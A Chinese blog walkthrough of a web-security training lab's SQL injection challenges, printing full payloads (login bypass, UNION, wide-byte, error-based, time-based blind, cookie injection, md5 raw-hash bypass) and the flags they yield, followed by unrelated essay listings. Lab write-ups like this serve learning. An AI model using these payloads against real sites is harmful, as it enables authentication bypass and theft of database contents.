网络安全实验室4.注入关
创始人
2024-05-23 20:15:50
0

4.注入关

1.最简单的SQL注入

url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

查看源代码,登录名为admin

在这里插入图片描述

最简单的SQL注入,登录名写入一个常规的注入语句:

admin’ or ‘1’='1

密码随便填,验证码填正确的,点击登录

得到我的座右铭(flag)是iamflagsafsfskdf11223

在这里插入图片描述

2.最简单的SQL注入(熟悉注入环境)

url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

查看源代码,访问url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

在这里插入图片描述

构造页面并访问?id=1 and 1=1 返回正常?id=1 and 1=2返回出错,说明存在SQL注入

在这里插入图片描述

判断字段数 ?id=1 order by 3页面返回正常,说明有三个字段

在这里插入图片描述

判断回显点 ?id=-1 union select 1,2,3 我们可以在如图所示位置进行查询

在这里插入图片描述

查询数据库名为mydbs ?id=-1 union select 1,2,database()

在这里插入图片描述

查询数据表为sae_user_sqli3

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述

查询字段名为id,title,content

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=sae_user_sqli3

在这里插入图片描述

查询字段内容 ?id=-1 union select 1,2,content from sae_user_sqli3

得到HKGGflagdfs56757fsdv

在这里插入图片描述

3.防注入

url:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php

本关尝试使用宽字节注入,添加单引号会出现空白页,没有报错,使用?id=1%df’

成功报错,找到注入点

在这里插入图片描述

构造语句?id=1%df%27%20or%201=1%23

页面正常回显,说明or语句执行成功可以注入!

在这里插入图片描述

构造语句?id=1%df%27%20or%201=1%20limit%202,1%23

得到Hsaagdfs56sdf7fsdv

另外一种方法是像上一关一样操作,只是需要构造语句?id=1%df%27 。。。%23

在这里插入图片描述

确定字段长度:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ order by 3 %23

确定显示位:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ union select 1,2,3 %23

得到数据库:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

在这里插入图片描述

得到列名:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23

在这里插入图片描述

得到字段:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23

在这里插入图片描述

4.到底能不能回显

url:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

经过测试,只有start参数有作用,num参数并没有作用。

构造payload:

查询数据库名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select database()))),1)%23&num=1

在这里插入图片描述

查询数据表名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1

在这里插入图片描述

查询列名:(由于分号被过滤了,只能将表名转换成16进制)

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name=0x75736572))),1)%23&num=1

在这里插入图片描述

查询flag:myflagishere

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1

在这里插入图片描述

5.邂逅

url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg

真的是第一次见图片后缀前面注入,加宽字节注入,因为无回显,所以用burp注入

burp对图片抓包的设置

在这里插入图片描述

在上图所示的位置

在这里插入图片描述

构造payload:

查询注入点:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df’.jpg

页面报错

在这里插入图片描述

查询列数:4列

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 order by 4 %23.jpg

在这里插入图片描述

查询显示位:3

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,3,4%23.jpg

在这里插入图片描述

查询数据库:mydbs

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select database()),4 %23.jpg

在这里插入图片描述

查询表名:article,pic

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg

在这里插入图片描述

查询列名:id,picname,data,text

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x706963),4 %23.jpg

在这里插入图片描述

查询数据(flag):

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg

在这里插入图片描述

将图片后缀改为flagishere_askldjfklasjdfl.jpg ,

访问url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg

得到flag is “IamflagIloveyou!”

在这里插入图片描述

6.ErrorBased

url :http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin

本题考查mysql的报错注入

查询数据库名:mydbs

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1)%20–%20q

在这里插入图片描述

查询数据表名:log,motto,user

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database())),1)%20–%20q

在这里插入图片描述

查询motto表的下的列名:id,username,motto

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘motto’)),1)%20–%20q

在这里插入图片描述

查询id字段的值:0,1,2,100000

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(id) from motto)),1)%20–%20q

在这里插入图片描述

查询username字段的值:admin,guest,test,#adf#ad@@#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username) from motto)),1)%20–%20q

在这里插入图片描述

查询motto字段的值:mymotto,happy everyday,nothing

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(motto) from motto)),1)%20–%20q

在这里插入图片描述

对比两次注入的结果,发现username字段比motto字段多一个结果,这说明flag可能就在被隐藏的结果中

再次构造语句,直接查询第四个值,得到notfound! 根据提示flag不带key和#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20(motto) from motto limit 3,1)),1)%20–%20q

在这里插入图片描述

7.盲注

url:http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php

本题使用延时盲注

判断当前数据库名长度为5,页面没有延时,说明数据库长度为5

%27+and%20sleep(if((length(database())=5),0,3))–%20q

判断库名第一个值为m,页面没有延时,说明数据库第一个值为m

’ and if(substr(database(),1,1)=‘m’,0,sleep(3))-- q

以此类推,数据库名为mydbs

判断表名第一个表的第一个值为l,页面没有延时,说明第一个表的第一个值为l

’ and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘l’,0,sleep(3))-- q

以此类推,数据表名为log,motto,user

判断motto表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i

’ and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘motto’ limit 0,1),1,1)=‘i’,0,sleep(3))-- q

以此类推,数据表motto中的字段值为id,username,motto

判断motto表中第一个内容的第一个值为m,页面没有延时,motto表中第一个内容的第一个值为m

’ and if(substr((select id from motto limit 0,1),1,1)=‘0’,0,sleep(3))-- q

以此类推,得到flag,notfound!

延时注入太慢了,sqlmap跑也比较慢

在这里插入图片描述

8.SQL注入通用防护

url:http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1

本题提示过滤了GET/POST,所以我们猜测是否可以进行cookie注入,使用burp抓包

在cookie处构造字段id=1 and 1=1回显正常,id=1 and 1=2回显错误,说明此处存在数字型SQL注入

在这里插入图片描述

查询字段数目

id=1 order by 3

最后得到字段数目是3。

查询显示位,得到显示位是2,3

id=1 union select 1,2,3

查询数据库名,得到数据库名为mydbs

id=1 union select 1,2,database()

查询表名,得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8

id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

查询sae_manage_sqli8表中的字段,得到了id,username,password这3个字段

id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘sae_manager_sqli8’)

查询flag,IamFlagCookieInject!

id=1 union select 1,2,password from sae_manager_sqli8

在这里插入图片描述

9.据说哈希后的密码是不能产生注入的

url:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/

查看关键源

"select * from 'user' where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"

对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。

其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。

md5(‘123’) //202cb962ac59075b964b07152d234b70

md5(‘123’,true) // ,�b�Y[�K-#Kp

只要md5(str,true)之后的值是包含了’or’这样的字符串,那么sql语句就会变为select * from users where usrid=“XXX” and password=‘‘or’’。如此就可以绕过了。

提供一个字符:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

可以伪造成

select * from user where userid=‘1’ and pwd = '‘or’6É]™é!r,ùíb’

从而成功绕过,得到Flag: FsdLAG67a6dajsdklsdf

payload:

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

相关内容

热门资讯

致那份友谊小学作文(推荐3篇... 致那份友谊小学作文 篇一友谊的力量亲爱的友谊小学的老师们和同学们:我是一名来自友谊小学的学生,今天我...
我生病了小学作文【精简6篇】 我生病了小学作文 篇一我生病了前几天,我不知道怎么了,突然感觉身体不舒服。我感到头晕目眩,喉咙痛得像...
新学期新打算小学作文450字... 新学期新打算篇一:我要努力学习新的学期开始了,我制定了新的打算,那就是要努力学习。我相信只有努力学习...
我学会了西红柿炒鸡蛋小学作文... 我学会了西红柿炒鸡蛋小学作文 篇一我学会了西红柿炒鸡蛋上周,我学会了一道简单又美味的菜——西红柿炒鸡...
花朵的小学作文【最新3篇】 花朵的小学作文 篇一花朵的奇妙世界花朵是大自然的美丽礼物,它们以各种各样的颜色和形状装点着我们的环境...
小学生赏花的作文【通用4篇】 小学生赏花的作文 篇一春天是一个充满美丽花朵的季节,我非常喜欢春天。每当春天来临,我就会和家人一起去...
中秋之夜小学生作文【优选3篇... 中秋之夜小学生作文 篇一中秋之夜,月亮圆圆的,像一块白玉挂在天空中。我和爸爸妈妈一起出门,欣赏美丽的...
油面筋塞肉小学作文(推荐3篇... 油面筋塞肉小学作文 篇一我喜欢吃美食,尤其是一些特色的小吃。最近,我发现了一种非常好吃的小吃,那就是...
学游泳的小学作文(实用3篇) 学游泳的小学作文 篇一学游泳的小学作文大家好!我是小明,今天我要给大家分享一下我学游泳的经历。我是一...
小学生作文老师我想对你说【最... 小学生作文老师我想对你说 篇一尊敬的老师:您好!我是您的学生小明。我想借这篇作文向您表达我的感激之情...
一次有趣的实验小学生作文80... 一次有趣的实验篇一昨天,我参加了一次非常有趣的实验。老师让我们小组一起进行,我非常期待这个实验的结果...
春天小学一年级作文300字【... 春天小学一年级作文300字 篇一我的春天春天来了,大地上百花盛开,绿草如茵。我喜欢春天,因为春天是个...
校园的一角的作文【优选6篇】 校园的一角的作文 篇一校园的一角在校园的一角,有一个小花园,是我最喜欢的地方。虽然它不大,但却别有一...
参观科技馆的小学作文400字... 参观科技馆的小学作文400字 篇一:奇妙的科技世界我参观了我们学校附近的科技馆,这里展示了许多令人惊...
值得的学生作文【实用3篇】 值得的学生作文 篇一突破自我,迈向成功作为一名学生,我们应该时刻保持一种积极向上的心态,勇于追求进步...
走进直播间小学作文(最新4篇... 走进直播间小学作文 篇一近年来,随着互联网技术的快速发展,直播已经成为了一种非常流行的媒体形式。除了...
我的学校小学作文350字【精... 我的学校小学作文350字 篇一我所在的学校是一所小学,位于市区的中心地带。学校占地面积较小,但是设施...
春节大扫除小学作文【精选6篇... 春节大扫除小学作文 篇一:春节大扫除的乐趣春节是中国人最重要的传统节日之一,也是一年中家庭团聚最为频...
抓田螺小学作文(最新5篇) 抓田螺小学作文 篇一我和小伙伴们一起去抓田螺今天,天气晴朗,阳光明媚,我和几个好朋友决定一起去抓田螺...
送别的作文【推荐3篇】 送别的作文 篇一送别的作文 篇一人生中,不论是离别还是告别,都是一种成长的过程。无论是与亲人分离,还...